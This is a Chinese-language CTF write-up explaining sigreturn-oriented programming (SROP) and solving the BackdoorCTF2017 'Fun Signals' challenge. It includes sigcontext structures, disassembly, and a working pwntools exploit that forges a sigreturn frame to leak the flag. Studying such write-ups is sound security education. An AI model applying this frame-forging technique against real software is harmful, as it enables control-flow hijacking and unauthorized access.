# 6.1.4 pwn BackdoorCTF2017 Fun-Signals - [SROP 原理](#srop-原理) - [Linux 系统调用](#linux-系统调用) - [signal 机制](#signal-机制) - [BackdoorCTF2017 Fun Signals](#backdoorctf2017-fun-signals) - [参考资料](#参考资料) ## SROP 原理 #### Linux 系统调用 在开始这一切之前,我想先将一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在 `/usr/include/asm/unistd_64.h` 和 `/usr/include/asm/unistd_32.h` 中,另外还需要查看 `/usr/include/bits/syscall.h`。 一开始 Linux 是通过 `int 0x80` 中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 `sysenter`/`sysexit`,前者用于从 Ring3 进入 Ring0,后者用于从 Ring0 返回 Ring3,它没有特权级别检查,也没有压栈的操作,所以执行速度更快。 #### signal 机制 ![](../pic/6.4_signal.png) sigreturn frame 因架构不同而不同,在 Linux 中也有了新的定义,但目前关于 srop 的利用也都是基于旧的 sigcontext,所以这里还是给出旧定义,仅当用户空间依然依赖它时才会使用它们: ``` # ifdef __i386__ struct sigcontext { __u16 gs, __gsh; __u16 fs, __fsh; __u16 es, __esh; __u16 ds, __dsh; __u32 edi; __u32 esi; __u32 ebp; __u32 esp; __u32 ebx; __u32 edx; __u32 ecx; __u32 eax; __u32 trapno; __u32 err; __u32 eip; __u16 cs, __csh; __u32 eflags; __u32 esp_at_signal; __u16 ss, __ssh; struct _fpstate *fpstate; __u32 oldmask; __u32 cr2; }; # else /* __x86_64__: */ struct sigcontext { __u64 r8; __u64 r9; __u64 r10; __u64 r11; __u64 r12; __u64 r13; __u64 r14; __u64 r15; __u64 rdi; __u64 rsi; __u64 rbp; __u64 rbx; __u64 rdx; __u64 rax; __u64 rcx; __u64 rsp; __u64 rip; __u64 eflags; /* RFLAGS */ __u16 cs; __u16 gs; __u16 fs; union { __u16 ss; /* If UC_SIGCONTEXT_SS */ __u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */ }; __u64 err; __u64 trapno; __u64 oldmask; __u64 cr2; struct _fpstate *fpstate; /* Zero when no FPU context */ # ifdef __ILP32__ __u32 __fpstate_pad; # endif __u64 reserved1[8]; }; ``` 在你使用 `ldd` 命令时,通常也会显示 vDSO,如下: ``` $ ldd /usr/bin/ls linux-vdso.so.1 (0x00007ffff7ffa000) libcap.so.2 => /usr/lib/libcap.so.2 (0x00007ffff79b2000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff75fa000) /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd8000) ``` 32 位程序则会显示 `linux-gate.so.1`,都是一个意思。 ## BackdoorCTF2017 Fun Signals 这是一个 64 位静态链接的 srop,可以说是什么都没开。。。 ``` $ checksec -f funsignals_player_bin RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 0 funsignals_player_bin ``` ``` gdb-peda$ disassemble _start Dump of assembler code for function _start: 0x0000000010000000 <+0>: xor eax,eax 0x0000000010000002 <+2>: xor edi,edi 0x0000000010000004 <+4>: xor edx,edx 0x0000000010000006 <+6>: mov dh,0x4 0x0000000010000008 <+8>: mov rsi,rsp 0x000000001000000b <+11>: syscall 0x000000001000000d <+13>: xor edi,edi 0x000000001000000f <+15>: push 0xf 0x0000000010000011 <+17>: pop rax 0x0000000010000012 <+18>: syscall 0x0000000010000014 <+20>: int3 End of assembler dump. gdb-peda$ disassemble syscall Dump of assembler code for function syscall: 0x0000000010000015 <+0>: syscall 0x0000000010000017 <+2>: xor rdi,rdi 0x000000001000001a <+5>: mov rax,0x3c 0x0000000010000021 <+12>: syscall End of assembler dump. gdb-peda$ x/s flag 0x10000023 : "fake_flag_here_as_original_is_at_server" ``` 而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。 首先可以看到 `_start` 函数里有两个 syscall。第一个是 `read(0, $rip, 0x400)`(调用号`0x0`),它从标准输入读取 `0x400` 个字节到 `rip` 指向的地址处,也就是栈上。第二个是 `sigreturn()`(调用号`0xf`),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。 那么怎样读取 flag 呢,需要一个 `write(1, &flag, 50)`,调用号为 `0x1`,而函数 `syscall` 正好为我们提供了 `syscall` 指令,构造 payload 如下: ```python from pwn import * elf = ELF('./funsignals_player_bin') io = process('./funsignals_player_bin') # io = remote('hack.bckdr.in', 9034) context.clear() context.arch = "amd64" # Creating a custom frame frame = SigreturnFrame() frame.rax = constants.SYS_write frame.rdi = constants.STDOUT_FILENO frame.rsi = elf.symbols['flag'] frame.rdx = 50 frame.rip = elf.symbols['syscall'] io.send(str(frame)) io.interactive() ``` ``` $ python2 exp_funsignals.py [*] '/home/firmy/Desktop/funsignals_player_bin' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x10000000) RWX: Has RWX segments [+] Opening connection to 127.0.0.1 on port 10001: Done [*] Switching to interactive mode fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive ``` 如果连接的是远程服务器,`fake_flag_here_as_original_is_at_server` 会被替换成真正的 flag。 其他文件放在了[github](../src/writeup/6.1.4_pwn_backdoorctf2017_fun_signals)相应文件夹中。 这一节我们详细介绍了 SROP 的原理,并展示了一个简单的例子,在后面的章节中,会展示其更复杂的运用,包扩结合 vDSO 的用法。 ## 参考资料 - [Framing Signals—A Return to Portable Shellcode](http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf) - [slides: Framing Signals a return to portable shellcode](https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf) - [Sigreturn Oriented Programming](https://www.slideshare.net/AngelBoy1/sigreturn-ori) - [Sigreturn Oriented Programming is a real Threat](https://subs.emis.de/LNI/Proceedings/Proceedings259/2077.pdf)